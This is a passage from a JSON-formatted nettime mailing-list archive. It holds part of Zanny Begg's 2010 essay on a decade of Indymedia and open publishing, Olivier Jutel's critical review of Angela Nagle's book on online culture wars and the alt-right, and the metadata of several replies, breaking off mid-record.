Garcelon, \u201cThe \u2018Indymedia\u2019\nExperiment: The Internet as Movement Facilitator Against Institutional\nControl\u201d, Convergence 2006; 12).\n\nopen structure\nAccording to Nicholson, the creation of Indymedia marked \u201cthe first time\nthat a decentralised activist network used the domain name system to at once\ndifferentiate themselves locally but stay linked to a global network.\u201d\nNicholson explains that the original Indymedia site very quickly\ndecentralised into seattle.indymedia.org, washington.indymedia.org and\nsydney.indymedia.org and so on: \u201cthis was the same process for Active which\nhad always been active.org.au/sydney, active.org.au/melbourne etc\u2026but using\nthe same domain name system enabled the community media centers to hold\ntogether as a network.\u201d Nicholson goes on to explain, \u201cin 1999 it wasn\u2019t\nvery common for mainstream media organisations to have any of the Web 2.0\nfeatures which people now talk about such as group voting, commenting,\nrating, tag clouds, inter-related social networks and so on. Things which we\ndid on our websites put pressure on non-activist website for similar\nfeatures, so 10 years later everyone wants interactive elements.\u201d\n\nFor Nicholson the first Indymedia site uniquely brought together the hacker\nsystems of communication which had developed in the early days of the BBS\nand the ARPAnet with an expanding counter-globalisation movement and its\nnon-expert adherents and enthusiasts. The interactive elements which were so\nnovel in the Indymedia site had a long history in \u201cthe smaller base of the\nopen source community of programmers who were writing websites for other\nprogrammers and were used to using the most advanced technologies of the\ntime to rate and improve their programs. Slashdot.org for example had a\nsystem of commenting and ratings 10 years ago. It was a very nerdy\nalgorithmic way of moderating because you could rate people\u2019s articles and\npeople could rate your ratings, you could rate people\u2019s comments and other\npeople could rate the way you rate people\u2019s comments in an endlessly\nrecursive system of moderation.\u201d Because Nicholson and Arnison had a foot in\nboth camps\u2014open source programming and activism\u2014Nicholson explains \u201cwe were\na bridge to bring those forms of interactivity to a broader range of\nactivists who also had an interest in democratic forms of communication.\u201d\n\nIndymedia\u2019s rapid expansion was helped along by its open structure\u2014anyone in\nthe world could put their hand up and say that they wanted to create a local\nbranch and they were given the domain name and someone would create a handle\nfor them in the Active software. Nicholson describes this as a \u201cnetwork\neffect\u201d much like the old web rings of the early days of the net where\npeople would band together to share common interests within an autonomous\nand expanding web environment.\n\n [image: Indymedia flyer] I\n open publishing\nAlso crucial to the success of Indymedia was the notion of open publishing,\nsomething Arnison describes as ensuring \u201cthe process of creating news is\ntransparent to the readers....\u201d (\nhttp://purplebark.net/maffew/cat/openpub.html). John Jacobs likens Indymedia\nto a \u201cbig communal blog before blogs were even invented. The backbone of\nIndymedia was peer-to-peer moderation, user generated content and open\npublishing, something which would ripple out through the web as a whole.\u201d\nThe concept of open publishing has expanded throughout the web with popular\nsites like Wikipedia which rely on \u201cswarm intelligence\u201d to refine, edit and\nverify content.\n\nAn obvious corollary opens up between the open architecture of the web and\nthe open publishing tactics of the web activists of Indymedia. The desire to\ndecentralise information production and distribution connects directly to\nthe de-centralised packet-switching structure of how information flows\nthrough the web. The many-to-many information broadcasting nodes of the web\nform the base which supports an ideology of open content creation, editing\nand sharing which has become normative within activist and web culture more\nbroadly.\n\nThe cultural implications of this have been enormous, both for the raft of\nart projects which have used the web as their medium, experimenting with net\nconceptualist actions such as the electronic sit-ins of the Electronic\nDisturbance Theatre, but beyond the core of internet artists there has been\na general trend towards interactivity and networked culture within art\nmaking even in non-technologically dependent projects, such as the artists\nloosely grouped under the banner of Relational Aesthetics.\n\ntactical media\nTactical Media is a term developed by David Garcia and Geert Lovink in the\nlate 90s to describe the possibilities for artistic and activist\ninterventions into digital and web-based media. In creating this term they\nborrowed from Michel de Certeau\u2019s celebrated book The Practice of Everyday\nLife which outlined the potential for ordinary people to tactically interact\nwith consumer society. De Certeau drew a distinction between strategic\ninterventions, which were the prerogative of those invested with power, and\nthe wily, tactical interventions of the weak. In contrast to the grim\nabsolutism of the Situationists (\u201cconsumer society has colonized social\nlife\u201d), de Certeau saw the possibilities for consumers, or rebellious users,\nas he preferred to call them, to recreate the value of consumer products by\ninvesting them with their own idiosyncratic uses and meanings.\n\nGarcia and Lovink explain, in a nettime posting, how this allowed de Certeau\nto produce a \u201cvocabulary of tactics rich and complex enough to amount to a\ndistinctive and recognizable aesthetic\u2026[an] aesthetic of poaching, tricking,\nreading, speaking, strolling, shopping, desiring\u2026\u201d Since the mid to late 90s\nmultiple groups, networks, lists and projects have evolved under the\ntactical media umbrella such as Institute for Applied Autonomy (1998),\nRTMark (1996), The Yes Men (1999), Next Five Minutes (1993), Carbon Defense\nLeague (CDL) (1998), Bernadette Corporation (1994), Beyond The Brain parties\n(1995), HAcktitude (2001) and so on. The tech savvy trickster has become a\nkey figure within art as cultural activists use the avenues of communication\nopened up by digital media to play in the gaps and cracks in the armory of\nthe powerful.\n\ndigital cultural resistance\nCritical Art Ensemble (CAE) has contributed greatly to the discussions\nsurrounding the possibilities of digital resistance in a networked world.\nFor CAE the \u201ctradition of digital cultural resistance\u201d is indebted to a rich\nheritage of avant-garde art practices such as detournment, bricolage,\nreadymades, plagiarism, appropriation and the Theater of Everyday Life.\nThese practices stretch back to 20th-century art movements such as Dada,\nSurrealism, Fluxus and the Situationists, and just as much reach forward to\na tech utopia of the information age. This point is also made by the founder\nof the online discussion list HAcktitude, Tatiana Bazzichelli, who sees the\nlineages of digital art/activism stemming from \u201csituationist, multiple\nsingularity and plagiarist projects\u201d (\nwww.oekonux.org/list-en/archive/msg05812.html). As she explains \u201cthe\ncontemporary Internet-based networking platforms have their deep roots in a\nseries of experimental activities in the field of art and technology started\nin the last half of the 20th-century which have transformed the conception\nof art as object into art as an expanded network of relationships.\u201d\n\navant garde continuities\nWhat the internet allows is the rapid expansion and diversification of the\nimpulse towards networking, collaboration and collectivism contained within\nearlier avant-garde art movements: thus Mail Art becomes the email list,\ndetournment becomes sampling, the readymade becomes plagiarism, plagiarism\nbecomes copyleft, the derive becomes Google-earth, the collage becomes the\nmash-up, appropriation becomes the fan-zine and so on. Rather than\nemaciating the avant-garde impulses of earlier art movements, as those who\nclaim we live in a postmodern world might hypothesise, the internet age has\nput them on steroids, rapidly expanding the capacity of artists and art\nmovements to experiment with networked practices which regard social\nrelationships as a form of art.\n\nExperiments in the 80s and early 90s with neoism, culture jamming,\ncyber-punk, tactical media, net.art and hacktervism created a culture of\ndigital resistance and critique which has transformed both art and\nnetworking, or, as Bazzichelli cogently argues, conflated the two. In Italy,\nwhere Bazzichelli is located, the digital underground is highly active and\ninnovative spawning a multitude of networked cultural practices and\ninitiatives such as 0100101110101101.org the Luter Blissart Project, the\nTelestreet network, FreakNet and so on. In Italy there has been a powerful\ncombination of autonomist theory, digital resistance and political activism\nwhich has reverberated outwards to the rest of the world through the writing\nof Toni Negri, Maurizio Lazzarato, Franco Berardi and Paolo Virno and the\nactions of counter-globalisation protesters in Genoa.\n\nthe internet come to life\nIn May 2000 Naomi Klein was invited to give a paper at the Re-Imagining\nPolitics and Society conference in New York. A central theme of this\nconference was providing vision and unity to the counter-globalisation\nmovement which had emerged so spectacularly on the streets of Seattle the\nyear before. When deliberating on her speech Klein came to the antagonistic\nconclusion, however, that a lack of vision or unity should be considered a\nstrength rather than a weakness. Choosing her metaphor carefully Klein\nargued that while the movement had not coalesced into a single definable\nidentity its various elements were \u201ctightly linked to one another, much as\n\u2018hotlinks\u2019 connect their websites on the Internet.\u201d She went on to explain,\n\u201cThis analogy is more than coincidental and is in fact key to understanding\nthe changing nature of political organising. Although many have observed\nthat the recent mass protests would have been impossible without the\ninternet, what has been overlooked is how the communication technology that\nfacilitates these campaigns is shaping the movement in its own image\u2026What\nemerged on the streets of Seattle\u2026was an activist model that mirrors the\norganic, decentralised, interlinked pathways of the internet\u2014the internet\ncome to life\u201d (www.thenation.com/doc/20000710/klein/single).\n\nThe Sydney hackers who helped launch Indymedia years ago played an important\npart in linking our experiences of communication and politics with the\ntechnical capacities for decentralisation embedded within the structure of\nthe web itself. As we confront copyright, piracy, plagiarism and other\nissues of the digital age, the innovation of a decade ago stands as a\nreminder that the future of culture lies in democratising the productive\ncapacities of the era in which we find ourselves.\n\nBy Zanny Begg www.zannybegg.com\n\n<http://www.zannybegg.com/>\n\nRealTime issue #95 Feb-March 2010 pg. 29\n\n\n<realtime {AT} realtimearts.net>\n\n\n<http://www.realtimearts.net/article/issue95/9752#top>\n\n\n<http://www.realtimearts.net/ads/adclick.php?bannerid=146&zoneid=0&source=&dest=http%3A%2F%2Fwww.visualarts.net.au%2Fgrantsprizes%2FANZ_AA>\n\n\n<http://www.realtimearts.net/ads/adclick.php?bannerid=144&zoneid=0&source=&dest=http%3A%2F%2Fwww.jumpmentoring.com.au>\n\n\n<http://www.realtimearts.net/ads/adclick.php?bannerid=145&zoneid=0&source=&dest=http%3A%2F%2Fhelpmannacademy.com.au%2Fpage.php%3Fparent%3Dnews%26key%3Dnews>\n\n\n<http://www.realtimearts.net/ads/adclick.php?bannerid=117&zoneid=0&source=&dest=http%3A%2F%2Fwww.liquidarchitecture.org.au%2Ffestival-2009-blog>\n\n\n<http://www.realtimearts.net/ads/adclick.php?bannerid=58&zoneid=1&source=&dest=http%3A%2F%2Fwww.realtimearts.net%2Fsubscriptions>\n\n\n\n\n\n\n\n\n-- \nnew project:\nwww.youarehere.me\n\nhttp://www.zannybegg.com/\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "date": "Sat, 13 Feb 2010 17:05:39 +1100",
                "to": "nettime <nettime-l {AT} kein.org>",
                "message-id": "696a0e171002122205u3cd60844u8240f4bdcf02b6ab {AT} mail.gmail.com",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1002/msg00013.html",
                "list": "nettime_l",
                "author_name": "zanny begg",
                "subject": "<nettime> 10 years of Indymedia"
            },
            {
                "id": "00007",
                "content": "[Olivier Jutel wrote an extensive review of Angela Nagle's new book \"Kill\nAll Normies - Online culture wars from 4chan and Tumblr to Trump and the\nalt-right\" (Zero Books, 2017) for the Australian journal Overland:\nhttps://overland.org.au/2017/07/the-alt-right-and-the-death-\nof-counterculture/\nIt's an essay in its own right; I'm reposting it here with Olivier's kind\npermission. An other, less favorable review of the same book can be read\nhere: https://medium.com/ {AT} curple.turnle/i-didnt-like-kill-all-norm\nies-very-much-225c17868d78   -Florian]\n\n\nThe alt-right and the death of counterculture\nBy Olivier Jutel\n6.Jul.17\n\n\nAngela Nagle has written an indispensable book that allows both the\nextremely online- and meme-illiterate to grasp the IRL implications of the\nonline culture wars. From the rise of Trump as a lulzy agent of base\nenjoyment and unrestrained conspiracy, to the collapse of meaning in these\nperilously ridiculous times, all are products of an ascendant online\nculture which privileges affect and transgression. Nagle navigates a sea of\nanime Nazis, gamers, white nationalists, masturbation abstainers and\nviolent misogynists in mapping the contours of online reaction and fascism.\nWhat is essential and most controversial in her thesis is the symbiosis\nbetween what we can call the \u2018Tumblr liberal-left\u2019 and the alt-right. Both\nare products of an online cultural vanguardism that has been lauded by\ntechno-utopians, nominally leftist academics and journalists alike. Nagle\nwields a forceful critique of the online left\u2019s aestheticised resistance as\nboth self-satisfied and lacking the dynamism to undercut the alt-right\u2019s\ndiscourse of modern alienation, however nonsensical. This book is not an\nattempt at righteously slam dunking on the basement dwelling nerds of the\nalt-right or rehashing the excesses of campus identitarians. Instead it\ntakes on the ideological deadlocks of the left that have been masked by the\ntech-fetishism of late capitalism.\n\nThe title \u2018Kill All Normies\u2019 embodies the wry humour of this book,\nnecessary to deal with the risible nature of the alt-right and the\nhorrifying obscenity, racism and misogyny that fuels the movement. At its\norigin, the alt-right amounts to a lament of web 2.0 inclusivity which\nruined the memes and the \u2018mean internet\u2019 safe spaces of predominately young\nwhite male misanthropes. At its core, the alt-right is the equivalent of a\nnew convert to punk complaining that \u2018modern music today is so terrible\u2019.\nIn Gabriella Coleman\u2019s book on 4-Chan and the hacker collective Anonymous,\nshe extensively profiles the archetype troll Andrew Auernheimer, aka weev.\nweev is a truly contemptible figure, an avowed white supremacist and\nsupporter of Dylan Roof who during the Trump campaign dedicated himself to\n\u2018Operation Pepe\u2019. As with so much of the alt-right, weev is equal parts\nlaughable and evil, claiming that his weaponisation of Pepe the Frog memes\nwill incite the coming race war. And despite his undeniable status as an\nuber-troll of the alt-right, his interview with Coleman captures a pathetic\ngrandiosity in trying to impress the fact that he \u2018was in the room when the\nlulz was first said\u2019. It is so jarringly stupid to think that the renewal\nof fascism and white supremacy would be driven by a nerdy subcultural\none-upmanship but this is the genesis of the online culture wars identified\nby Nagle.\n\nFor Nagle, the rise of the alt-right is not so much about the ideological\ncurrency of reactionary politics but the techno-enthusiastic embrace of\ntransgression and disruption deracinated from politics. As with many\ndiscussions on the state of the left, Nagle considers the epochal moment of\n\u201968 and the youth-led demands for individual emancipation from hierarchy.\nShe writes, the alt-right \u2018has more in common with the 1968 left\u2019s slogan\n\u201cIt is forbidden to forbid!\u201d than it does with anything most recognize as\npart of any traditionalist right.\u2019 Where for fifty years conservatives have\nbeen fighting sexual liberation and \u2018liberal cultural excess,\u2019 the\nalt-right have formulated a style which is counter-cultural, dynamic, and\nthrives, at least temporarily, on its own incoherency. Embodying the best\ntraditions of conservative hucksterism, Milo has been a key figure in\nproviding a fascist chic and garnering mainstream media access, elevating\nhis brand and online provocations into a reactionary culture-jamming. Nagle\nobserves that Richard Spencer\u2019s \u2018spitting disdain about the vulgarity of\nthe US consumer culture-loving, Big-Mac munching, Bush-voting, pick-up\ntruck owning pro-war Republican\u2019 could be ripped from a mid-oughts edition\nof AdBusters.\n\nThe alt-right has latched onto the transgressive and paranoid libertarian\nstyle of culture jammers and hackers, which always sat uncomfortably on the\nleft, and celebrates the liberation of the individual against ghastly\nsheeple and normie culture. In the process they have disrupted the poles of\nyouth culture, allowing for an easy slippage between gaming, lib-hating,\ntrolling, unbridled misogyny and fascism. As Nagle writes: \u2018When we\u2019ve\nreached a point where the idea of being edgy/counter-cultural/transgressive\ncan place fascists in a position of moral superiority to regular people, we\nmay seriously want to rethink the value of these stale and outworn\ncountercultural ideals.\u2019\n\nOne of the intellectual legacies of \u201868 and the new left that Nagle\nidentifies is the shift of concern from a universalist politics of state,\nparty, the public and economy, to cultural studies, new forms of political\nidentity and privatised resistance. There has been a great deal of\nintellectual energy devoted to conceptualising political emancipation in a\nmanner that evades the stubbornly persistent questions of party\norganisation and militancy. In this retreat from the collective and embrace\nof the new, there has been a tremendous amount of exuberance from nominally\nleft academics, sometimes with chairs paid for by tech companies, about the\nradical potential of new media. Jodi Dean in her 2009 book Democracy and\nOther Neoliberal Fantasies, presaging Occupy Wall Street, wrote of the\n\u2018techno-democracy fetish\u2019 in which new forms of communication in themselves\ndo the hard of work of ideology and organisation in our place. The reality\nof techno-democracy was the \u2018collapse of symbolic efficiency,\u2019 meaning an\nendless circular procedurialism and clarification of terms which prevented\nparticipants from making the radical ethical gamble of politics that\nrequires an individual subsumption to a collective discipline.\n\nIt was through this mix of techno-utopianism, political indeterminacy and\nthe carnivalesque that figures like weev and the hackers of Anonymous could\nbe turned into progressive allies by the likes of Coleman, Molly Crabapple\nor philosophy professor Peter Ludlow. The glaring white supremacy of weev\nwas seen simply as trolling and lulzy transgression, while the cesspool of\n4-Chan that spawned Anonymous was responsible for this \u2018force for good in\nthe world\u2019 wielding lulz as a weapon of resistance. Anonymous have since\nbeen thoroughly eclipsed by the alt-right as the inheritors of this legacy.\nThis appalling omission rests on a thoroughly Nietzschean tech-elitism, as\nNagle writes, \u2018it is certainly hard to imagine even a hint of approval\nbeing tolerated in academia if the subjects at hand were ordinary\nblue-collar normies of the far right like Tommy Robinson, despite his far\nmilder views than what has characterised 4chan and trolls like weev for\nmany years.\u2019 This nerd solidarity and tech-elitism informs Laurie Penny\u2019s\nprofile of Milo devotees as \u2018Lost Boys\u2019 with anxiety disorders, as opposed\nto fascists politically responsible for their actions.\n\nThe idea that lulzy racism and transgression is either polysemic or the\ncorollary to a new disruptive network enabled democracy owes to a cheap\nDeleuzianism deployed by tech-utopians, culture jammers and autonomist\nMarxists alike. The Rhizome, the Multitude, the wisdom of crowds and\npeer-produsage all rest on an ideal of a latent affective human\nconnectivity, that passes between bodies in cyberspace, enabling new\ndecentralised forms of resistance and democracy. (See footnote for an\nextraordinary rhetorical flourish of this nature.) Nagle\u2019s critique of this\nnetwork-determinism, pervasive during Tahrir Square and the Occupy moment,\ndoes not simply touch on the failure to seize power or the tyranny of\nstructurelessness, but the pure nihilistic potential of the network.\nPerhaps the black-pill trajectory of this discourse should have been clear\nwhen AdBusters described ISIS as rhizomatic and superior to the \u2018Western\nrationalist approach.\u2019\n\nThe failure of online connectivity to stabilise around a radical left ethic\nis, as Dean notes, both a product of its individuating effects, and the\nfailure of communication itself to overcome the ideological deadlocks of\nthe left. Affect and the lulz may create a short circuit here, but it is\nnot the humanist teleology supposed by cyber-enthusiasts, rather a\nself-fecund \u2018ironical in-jokey maze of meaning.\u2019 Nagle writes, \u2018every\nbizarre event, new identity and strange subcultural behaviour that baffles\ngeneral audiences \u2026 can be understood as a response to a response to a\nresponse, each one responding angrily to the existence of the other.\u2019 Nagle\ncorrectly identifies that this self-referential world has as its end an\namoral \u2018liberation of the individual and the id\u2019, and a pathological\nenjoyment at the expense of an other. The role of the other in\npsychoanalytic terms figures prominently in the online neuroses of the\nTumblr liberal-left and unrestrained malice of the alt-right. Nagle hints\nat this libidinal economy but is unable to devote it sufficient time in her\ntask of drawing the battle lines of the culture wars.\n\nWhat the Tumblrites embody is a taxonomical politics which is driven (drive\nin psychoanalytic terms) by the techno-fetishist belief in pure\ncommunication and individual empowerment. It is in this way that language\nhas become so central to politics. The clarification of terms, the\nbracketing of difference and the weighing of utterances from different\nsubject positions, cis-males at the bottom, all attempt to make the\nbanality of online life urgent and political. In a manner that mirrors the\ndata colonisation of the social by new media companies, every difference\nmust be celebrated, problematised and deconstructed. Thus there are\nhundreds of genders, Marxist universalism is misogynist, and effacement of\nagency requires reparations through any number of micro-payment platforms.\nAny slight sarcasm or scepticism about these facts is violence. The claim\nto truth of such politics is purely affective, as challenging political\nstatements from a left-ethical position may elicit the refrain its not my\njob to do the emotional labor of explaining this to you. The political\nspeech-act becomes about amplifying marginal voices towards an in-group\nconsensus, and the concept that ideas be rigorously scrutinised in debate\n\u2018seems to anguish, offend and enrage this tragically stupefied shadow of\nthe great movements of the left.\u2019\n\nNagle quite rightly castigates this as a joyless and vicious politics that\ndoes not expand the quality of left thought so much as garner converts to a\nwoke clergy. It is also an ontologically impossible politics that cannot\nsucceed on its own terms. In Lacanian libidinal theories of language,\ncommunication is defined by its impossibility, what Lacan calls symbolic\ncastration, which launches us into the world of subjectivity through a gap\nand lack between the symbolic and the subject. The attempt of Tumblrites to\nproduce politics through language is doomed; we are always haunted by the\nother \u2018what did they mean?\u2019, \u2018did I deny agency?\u2019, \u2018have I internalised\ncis-male discourse?\u2019. The efforts to eradicate this indeterminacy, rather\nthan make an ethico-political commitment, can only result in a vicious and\nimpotent lashing out. Thus we have seen what Nagle describes as a \u2018culture\nof purging\u2019 in these online spaces against the left, as an identitarian\nelite looks to translate a surfeit of virtue into a scarce social capital\nfor online cultural gatekeepers.\n\nThis extremely online politics produces a drive to self-destruction and\nparalysis within a nominally left identitarianism, while providing the\nalt-right with an obscene pathological enjoyment that defines its entire\nuniverse. While Nagle quite rightly takes pains to distinguish between\nalt-lights (Milo, Gavin McInnes, Mike Cernovich), the Manosphere (Roosh,\nPaul Elam) and the Nazi alt-right (Spencer, weev), the connective tissue is\ntrolling as libidinal pathology. The logic of trolling corresponds\nprecisely to what Lacan calls jouissance, that is, an enjoyment that is\ndependent upon another who steals it from us. Trolling is the obsession\nover and debasement of the other for amorphous crimes against the\nsubculture. Thus for the alt-right, identitarians are an object of constant\nridicule that should be, in the language of sexual violence, \u2018triggered\u2019\nwith misogynist, racist and anti-semitic memes as both a matter of\nenjoyment and internet justice. Yet for all of the complaints about liberal\nsnowflakes and grievance culture, trolls are obsessed with what is served\nin the cafeteria of a private liberal arts college they\u2019ve never heard of.\nThere is an inability to enjoy while this pervasive other threatens their\nmemes, video games, traditional marriage and even Western civilisation.\n\nThis logic of jouissance as stolen by a nefarious, contradictory and\noverdetermined other is neatly evinced by the obsession with sexual\nhierarchy. Nagle\u2019s great insight here is in understanding the alt-right\u2019s\nreversion to intense misogyny as a pathological libidinal frustration and\nself-hatred. She writes, \u2018their low-ranking status in this [sexual]\nhierarchy is precisely what has produced their hard-line rhetoric about\nasserting hierarchy in the world politically when it comes to women and\nnon-whites\u2019. The default insult of liberal men and Never-Trump\nconservatives as \u2018cucks\u2019 depicts the \u2018fuck or get cucked\u2019 logic of\njouissance. If you do not have the will to embrace the \u2018red pill\u2019 truth\nabout politics, gender and race and engage in radical transgression you can\nexpect to have your jouissance stolen by way of immigrants, liberals, or,\nin the original meaning of this metaphor, miscegenation. Here we have the\ndeadlock of jouissance, the very thing that gives the alt-right enjoyment\nreinforces the racial other\u2019s virility as a direct threat to their own\npotency.\n\nThis is \u017di\u017eek\u2019s great insight into the logic of fascism and antisemitism:\nthe figure of the Jew in a contradictory evil \u2013 both aristocratic and\nslovenly, intellectual and carnal \u2013 whose enjoyment is based on stealing\nthe people\u2019s social jouissance. Whether through the manipulation of media\nand finance, or the destruction of Western civilisation, the fascist\u2019s\nenemy (Jew, Feminist, Marxist, POC) lives to deny an organic order of\ngender and racial and religious hierarchy. The enemy\u2019s enjoyment extends to\nthe very control of enjoyment, as nicely evinced by the recent Daily\nStormer story, that Jews are controlling the porn industry to make men\nmasturbate to plus-size models in order to weaken the white race. The enemy\nis necessary for the very existence of this idea of natural order, and\ngrows more powerful as the alt-right is confronted with the impossibility\nof \u2018Western civilization\u2019 or patriarchy as they conceive it. This\ninevitable failure requires both a violent lashing out, to cover this lack,\nand an obsessive conspiracy which feeds the cycle of jouissance and\nfrustration. Even if \u2018Pizzagate\u2019, the conspiracy alleging that the\nDemocratic Party is a vast paedophile ring, was created by 4-Chan trolls,\nits logic corresponds perfectly with how trolls conceptualise their enemy\nand their politics of enjoyment. The fact that Pizzagate is so widely\nbelieved by Republican voters and that the favourite pursuit of online Fox\nviewers devotees\u2019 is now \u2018triggering snowflakes\u2019 speaks to the broader\npolitical currency of this fascist jouissance.\n\nThe great threat of the alt-right identified by Nagle is that they best\nembody the political potential of networked affect, and that they are able\nto use this infrastructure to accelerate a pure fascist politics of\njouissance and libidinal frustration. The prevailing tendency on much of\nthe self-identified left has been to retreat from the kind of broad popular\nstruggle that could be attractive to the politically curious, making \u2018the\nleft a laughing stock for a whole new generation.\u2019 Nagle\u2019s conclusion is\nharsh, and though it is always complicated unravelling various left\nthreads, in the wake of the liberal resistance\u2019s floundering and their\ncontinued obsession with Bernie Bros, it holds true.\n\nThe alt-right meanwhile will continue to be wracked by their own\nself-loathing, the diminishing returns from online cultural victories, and\nan inevitable sectarianism. In this moment of post-ideology it is fitting,\nhowever grotesque their beliefs, that even our fascists are second rate.\nThere will be no Steve Bannon-inspired National Socialist New Deal and the\nalt-right will have to be content with the wages of jouissance. Where this\ndoes threaten to verge into new radical territory is with a black pill\nnihilism that lauds mass shooters and the political violence of Dylan Roof,\nElliot Rodgers and Jeremy Joseph Christian. Where networked politics was\nsupposed to be liberatory, it has become a conduit for a violent acting out\nof this libidinal impasse, that can only grow in the absence of an IRL left\nmilitant universalism.\n\n\n\nFootnote:\n\n\u2018And yet, peering through the computer, we find Anonymous in any instant to\nbe an aggregate sack of flesh \u2013 meshed together by wires, transistors, and\nwi-fi signals \u2013 replete with miles of tubes pumping blood, pounds of\nviscera filled with vital fluids, an array of live signalling wires,\npropped up by a skeletal structure with muscular pistons fastened to it,\nand ruled from a cavernous dome holding a restless control center, the\nanalog of these fabulously grotesque and chaotically precise systems that,\nif picked apart, become what we call people. Anonymous is no different from\nus. It simply consists of humans sitting at their glowing screens and\ntyping, as humans are wont to at this precise moment in the long arc of the\nhuman condition. Each body taken alone provides the vector for an\nirreducibly unique and complex individual history \u2013 mirroring in its\nisolation the complexity of all social phenomenon as a whole \u2013 which can\nitself be reduced yet further to the order of events: mere flights of\nfingers and an occasional mouse gesture which register elsewhere, on a\nscreen, as a two-dimensional text or a three-dimensional video; the song\ntheir fingers play on these keyboards ringing forth in a well-orchestrated,\nalbeit cacophonous and often discordant, symphony; it is sung in the most\nbase and lewd verse, atonal and unmetered, yet enthralling to many: the\nmythical epic of Anonymous.\u2019 \u2013 Excerpt from page 115 of Gabriella Coleman\u2019s\nHacker, Hoaxer, Whistleblower, Spy: The Story of Anonymous, Verso, 2014\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                "to": "Nettime <nettime-l {AT} kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00007.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> The alt-right and the death of countercultur",
                "from": "lorian Cramer <flrncrmr {AT} gmail.com>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "from": "Jonathan Marshall <Jonathan.Marshall {AT} uts.edu.au>",
                                "content": ">As Nagle writes: \u2018When we\u2019ve\n> reached a point where the idea of being edgy/counter-cultural/transgressive\n> can place fascists in a position of moral superiority to regular people, we\n> may seriously want to rethink the value of these stale and outworn\n> countercultural ideals.\u2019\n\nSorry Fascists have always considered themselves to be in a position of moral superiority to ordinary people.\n\nThat is part of its attraction. It allows smug violence in the name of moral superiority against weak and decadent people who are betraying the valued race or nation. \n\njon\n\n\nUTS CRICOS Provider Code: 00099F\nDISCLAIMER: This email message and any accompanying attachments may contain confidential information.\nIf you are not the intended recipient, do not read, use, disseminate, distribute or copy this message or\nattachments. If you have received this message in error, please notify the sender immediately and delete\nthis message. Any views expressed in this message are those of the individual sender, except where the\nsender expressly, and with authority, states them to be the views of the University of Technology Sydney.\nBefore opening any attachments, please check them for viruses and defects.\n\nThink. Green. Do.\n\nPlease consider the environment before printing this email.\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                "id": "00010",
                                "date": "Sat, 8 Jul 2017 10:22:58 +0000",
                                "to": "\"nettime-l {AT} mail.kein.org\" <nettime-l {AT} mail.kein.org>",
                                "message-id": "1499509377512.72890 {AT} uts.edu.au",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00010.html",
                                "content-type": "text/plai",
                                "author_name": "Jonathan Marshall",
                                "subject": "Re: <nettime> The alt-right and the death of countercultur"
                            },
                            {
                                "follow-up": [
                                    {
                                        "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
                                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                        "id": "00012",
                                        "date": "Sat, 8 Jul 2017 10:27:00 -0400",
                                        "to": "lincoln dahlberg <l.j.dahlberg {AT} xtra.co.nz>",
                                        "message-id": "CAM&#45;xAVZE_e8NENxbDdPVcQOb4ufWshkPCDfpyNZZ+YVc0dUEVw {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00012.html",
                                        "content-type": "multipart/mixed",
                                        "author_name": "Ian Alan Paul",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    },
                                    {
                                        "from": "Joseph Rabie <joe {AT} overmydeadbody.org>",
                                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:",
                                        "id": "00014",
                                        "date": "Sat, 8 Jul 2017 17:29:20 +0200",
                                        "to": "nettime-l {AT} mail.kein.org",
                                        "message-id": "DB4DAAE6&#45;9A3F&#45;4F12&#45;9E21&#45;7B4FB49B1688 {AT} overmydeadbody.or",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00014.html",
                                        "content-type": "multipart/mixed",
                                        "author_name": "Joseph Rabie",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    },
                                    {
                                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                        "content": "On 07/08/2017 07:39 AM, lincoln dahlberg wrote:\n",
                                        "id": "00015",
                                        "date": "Sat, 8 Jul 2017 12:39:14 -0500",
                                        "to": "nettime-l {AT} mail.kein.org",
                                        "message-id": "b1fd9ff0&#45;00ff&#45;b653&#45;71ed&#45;78d57692fac5 {AT} gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1707/msg00015.html",
                                        "content-type": "text/plai",
                                        "author_name": "Brian Holmes",
                                        "subject": "Re: <nettime> The alt-right and the death of countercultur"
                                    },
                                    {
                                        "from": "Ian Alan Paul <ianalanpaul {AT} gmail.com>",
